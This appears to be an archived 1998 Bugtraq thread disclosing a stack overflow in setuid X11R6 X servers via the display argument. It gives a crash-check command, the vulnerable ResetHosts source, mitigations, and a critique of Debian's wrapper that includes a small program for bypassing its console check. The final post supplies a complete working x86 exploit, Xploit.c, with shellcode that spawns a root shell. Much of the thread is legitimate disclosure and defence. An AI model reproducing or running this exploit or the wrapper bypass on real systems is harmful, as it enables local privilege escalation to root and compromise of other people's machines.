Xserver overflow in the display command-line argument

Summary
Description:typical overflow, although this one affects a lot of people.
Author:Pavel Kankovsky <peak@kerberos.troja.mff.cuni.cz>
Compromise: root (local)
Vulnerable Systems:X11R6 (possibly X11R5) based X servers. This includes XFree86. The servers have to be suid, of course (some systems use XDM and have a non-suid server)
Date:13 January 1998
Details


Date: Tue, 13 Jan 1998 20:22:02 +0100
From: Pavel Kankovsky <peak@kerberos.troja.mff.cuni.cz>
To: BUGTRAQ@NETSPACE.ORG
Subject: Xserver stack smashed

Summary:

On a system where X11R6-based Xserver (R5 is probably affected too) is
installed setuid or setgid (e.g. typical XFree86 installation has XF86_*
setuid root), local users can exploit a buffer overrun in its code and
gain extra privileges (e.g. root privileges when Xserver is setuid root).


Quick vulnerability check:

X :00000000000000000000000000000000000000000000000000000000000000000\
00000000000000000000000000000000000000000000000000000000000000000000\
00000000000000000000000000000000000000000000000000000000000000000000\
00000000000000000000000000000000000000000000000000000000000000000000\
00000000000000000000000000000000000000000000000000000000000000000000\
00000000000000000000000000000000000000000000000000000000000000000000\
00000000000000000000000000000000000000000000000000000000000000000009

(add -nolock for XFree86, change X to whatever name your Xserver has)

Vulnerable Xserver will crash (Segmentation fault).

(Note: machines immunized against stack smashing--e.g. Linux boxes with
Solar Designer's kernel patch--are probably not vulnerable.)


Quick fix:

* remove setuid/setgid bit from all installed Xservers
* use xdm or a safe setuid wrapper to start Xserver


Details:

X11R6.x Xserver recognizes a runtime argument specifying the desired
display (e.g. X :1). It accepts ANY value regardless of its length
and contents (save from the initial colon).

Excerpt from xc/programs/Xserver/os/access.c (X11R6.3)

/* Reset access control list to initial hosts */
void
ResetHosts (display)
    char *display;
{
    register HOST       *host;
    char                lhostname[120], ohostname[120];
    char                *hostname = ohostname;
    char                fname[100];

[snip]

    strcpy (fname, "/etc/X");
    strcat (fname, display);
    strcat (fname, ".hosts");
    if (fd = fopen (fname, "r"))
[snip]

}

Xserver calls ResetHosts() during its startup. A very long value of
"display" (100 + 2*120 + delta bytes) overflows "fname" and corrupts
the stack.

An actual exploit is left as an exercise for the reader. :)

There are probably other vulnerable places in Xserver code. (I have
spotted another buffer overrun in LockServer() (os/utils.c, XFree86
specific) but this one seems to be benign.) Anyone willing to pay me
big bucks for an exhaustive audit is welcome. :)


--Pavel Kankovsky aka Peak (troja.mff.cuni.cz network administration)
          [ Boycott Microsoft -- http://www.vcnet.com/bms ]

Date: Wed, 21 Jan 1998 21:58:55 +0100
From: Pavel Kankovsky 
To: BUGTRAQ@NETSPACE.ORG
Subject: Re: Xserver stack smashed -- wrapper

On Wed, 21 Jan 1998, John Goerzen wrote:

> A short time ago, there was some talk about various wrappers around
> the X server, and I pointed out that Debian already has one better
> than the example posted.  Since then, I have received requests to post
> Debian's wrapper source.

Unfortunately, this wrapper has two serious flaws:

>   case Console:
>     if (fstat(0,&s)!=0) {
>       fprintf(stderr,"X: cannot stat stdin\n");
>       return FALSE;
>     }
>     if (S_ISCHR(s.st_mode) && ((s.st_rdev>>8)&0xff)==VT_MAJOR_DEV &&
>         (s.st_rdev&0xff)<128) {
>       return TRUE;
>     }
>     break;

First flaw: it is quite easy to fool this check. In many cases, it is
possible to find a world writable vc entry in /dev (yes, this is a kind
of configuration error but AFAIK Debian itself ships with a load of world
writable /dev/tty[0-9]*'s) and do this:

        int
        main()
        {
                close(0);
                open("/dev/tty0", O_WRONLY);
                execlp("xserver-wrapper", "xserver-wrapper", 0);
        }

IMHO, /var/run/utmp ought to be consulted

>     for (i = 1; i < argc; i++) {
>       if (!strcmp(argv[i], "-config")) {
>         if (setuid(getuid())) {
>           perror("X couldn't drop setuid privileges for alternate config");
>           exit(1);
>         }
>         break;
>       }
>     }
>     execv(xserver,argv);

Second flaw: not paranoid enough when checking the arguments.
It should test whether arguments are _allowed_ and their parameters
have _sane_ values.


--Pavel Kankovsky aka Peak (troja.mff.cuni.cz network administration)
          [ Boycott Microsoft -- http://www.vcnet.com/bms ]


Date: Mon, 26 Jan 1998 18:36:36 +0530
From: Rahul Sahadevan 
To: BUGTRAQ@NETSPACE.ORG
Subject: Re: Xserver stack smashed

On Tue, 13 Jan 1998, Pavel Kankovsky wrote:

--------------------------------------------------------------------------
=>On a system where X11R6-based Xserver (R5 is probably affected too) is
=>installed setuid or setgid (e.g. typical XFree86 installation has XF86_*
=>setuid root), local users can exploit a buffer overrun in its code and
=>gain extra privileges (e.g. root privileges when Xserver is setuid root).
=>Quick fix: remove setuid/setgid bit from all installed Xservers
=>* use xdm or a safe setuid wrapper to start Xserver
=>An actual exploit is left as an exercise for the reader. :)
--------------------------------------------------------------------------

Hi,
        Here is an x86 exploit for the recently discovered X-server buffer
overflow. This program has been tested on most XF86 servers ( version 3.2 )
shipped with Redhat-4.2 and on XF86_SVGA( version 3.2 and 3.3.1 ). It did
not work on XF86_SVGA 3.1.x.

        Use a wrapper to check the arguments passed to the X server or use
Solar Designer's kernel stack patch to prevent the overflow,

Disclaimer:
        This program is for educational purposes only. Please do not
misuse it. I cannot be held responsible for any damage caused by the
use of this program by anyone.

Rahul Sahadevan,
Administrator, Dept of CS & A,
Indian Institute of Sciences.

-------------------------8<-------Xploit.c---------------------------------

    /**********************************************************
    * Adapted from                                            *
    *   "Smashing The Stack For Fun And Profit"               *
    *     in Phrack-49 by Aleph One ( aleph1@underground.org )*
    * by                                                      *
    *   Rahul Sahadevan. ( srahul@csa.iisc.ernet.in )         *
    **********************************************************/

/* Try 2 3 4 5 for OFFSET */
#define OFFSET 2

#include 
#include 
#include 

#define LENCODE ( sizeof( Code ) )
char Code[] =
    "\xeb\x40\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0"
    "\x3f\x89\xc2\x31\xdb\xb3\x0a\x31\xc9\xcd\x80\x89\xd0\x43\x41"
    "\xcd\x80\x89\xd0\x43\x41\xcd\x80\x31\xc0\x89\xc3\xb0\x17\xcd"
    "\x80\x31\xc0\xb0\x2e\xcd\x80\x31\xc0\xb0\x0b\x89\xf3\x8d\x4e"
    "\x08\x8d\x56\x0c\xcd\x80\xe8\xbb\xff\xff\xff/bin/sh";

char Display[ 0x4001 + OFFSET ] = ":99999", *ptr = Display + OFFSET + 1;
char *args[] = { "X", "-nolock", Display, NULL };

main() {
  dup2( 0, 10 ); dup2( 1, 11 ); dup2( 2, 12 );
  __asm__("movl %%esp,(%0)\n\tsubl %1,(%0)"::"b"(ptr),"n"(LENCODE+0x2000));
  memcpy( ptr + 4, ptr, 0x3fc );
  memset( ptr + 0x400, 0x90, 0x3c00 - LENCODE );
  memcpy( ptr + 0x4000 - LENCODE, Code, LENCODE );
  execve( "/usr/X11R6/bin/X", args, args + 3 );
  perror( "execve" );
}

--------------------------------8<-----------------------------------------
More Exploits!

The master index of all exploits is available here (Very large file)
Or you can pick your favorite operating system:
All OS's Linux Solaris/SunOS Micro$oft
*BSD Macintosh AIX IRIX
ULTRIX/Digital UNIX HP/UX SCO Remote exploits

This page is part of Fyodor's exploit world. For a free program to automate scanning your network for vulnerable hosts and services, check out my network mapping tool, nmap. Or try these Insecure.Org resources: